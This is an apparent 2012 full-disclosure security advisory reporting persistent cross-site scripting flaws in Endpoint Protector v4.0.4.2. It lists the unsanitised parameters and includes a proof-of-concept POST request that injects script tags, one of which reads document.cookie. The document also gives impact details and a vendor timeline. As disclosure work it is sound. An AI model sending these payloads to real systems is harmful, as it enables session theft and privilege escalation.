Date: Tue, 30 Oct 2012 16:05:11 -0400
From: "CYBSEC Labs" <cybseclabs@...sec.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Cybsec Advisory#2012-1029 Multiple Persistent XSS
 in Endpoint Protector]]]]]]

Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint
Protector

Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint
Protector

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

Release Date: 10/29/2012

Affected Applications: Endpoint Protector v4.0.4.2; other versions may
also be affected.

Affected Platforms: Any running Endpoint Protector v4.0.4.2

Local / Remote: Remote

Severity: High – CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)

Researcher: Juan Manuel Garcia

Vendor Status: Acknowedged / Unpatched

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Multiple Persistent Cross-Site vulnerabilities were found in Endpoint
Protector v4.0.4.2 [Virtual
Appliance], because the application fails to sanitize the response before
it is returned to the user.
This can be exploited to execute arbitrary script and HTML code in a
user's browser session. This may
allow the attacker to steal the user's cookie and to launch further attacks.
The parameters "client_device[name]" and "client_device[description]" in
/index.php/clientdevice/create are not properly sanitized.
The parameters "client_machine[name]", "client_machine[domain]",
"client_machine[workgroup]" and
"client_machine[location]" in /index.php/clientmachine/create are not
properly sanitized.
The parameter "group[name]" in /index.php/mgroup/create is not properly
sanitized.
Other parameters might also be affected.

Proof of Concept:
* The parameter "client_device[name]" in the POST request has been set to:
<script>alert(document.cookie)</script>
* The parameter "client_device[description]" in the POST request has been
set to:
<script>alert(1)</script>
POST /index.php/clientdevice/create HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://xxx.xxx.xxx.xxx/index.php/
Cookie: place=clientdevice; mark=clientdevice;
ratool=d4d3242c4444254d035b7f797738837e
Content-Type: multipart/form-data; boundary=---------------------------
17723440641777718806882422624
Content-Length: 1131
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="id"
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[department_id]"
1
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[device_type_id]"
1
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[name]"
<script>alert(document.cookie)</script>
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[description]"
<script>alert(1)</script>
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[vid]"
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[pid]"
-----------------------------17723440641777718806882422624
Content-Disposition: form-data; name="client_device[serialno]"
-----------------------------17723440641777718806882422624--

Impact:
An affected user may unintentionally execute scripts or actions written by
an attacker. In addition, an
attacker may obtain authorization cookies that would allow him to gain
unauthorized access to the
application.
In this particular case, any user with permission to access the
administration console could gain "super
admin" privileges by stealing the session cookie of another user with this
permission.
Vendor Response:
2012/03/27 - Vulnerability was identified
2012/03/29 - Cybsec sent detailed information on the issue and a Proof of
Concept to the vendor
2012/04/04 - Vendor confirmed vulnerability (Request ID - 10006599) and
stated “The problems
encountered do not represent a significant threat for customers using it
because it is usually done with
no Internet connection”
2012/04/05 - Vendor stated “we planned an official release of the new
patch to include all the fixes for
mentioned vulnerabilities for the date of 18 of September 2012”
2012/09/25 – Cybsec asked the vendor if the update had been released on
the planed date
2012/09/26 – Vendor stated that he would check the status of the report
[Ticket#2012092510000057]
2012/10/03 – Vendor gave us a new deadline: up to 3-4 months.
2012/10/24 – Vendor asked if we had published the security advisory
2012/10/24 – Cybsec stated that the security advisory was going to be
published on October 29
2012/10/29 – Vulnerability was released

Contact Information:
For more information regarding the vulnerability feel free to contact the
researcher at
jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems
Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in
Information Security. Their area of services covers Latin America, Spain
and over 250 customers are a
proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our
clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques
and contributing with the security community with high quality information
exchange.
For more information, please visit www.cybsec.com
(c) 2010 - CYBSEC S.A. Security Systems
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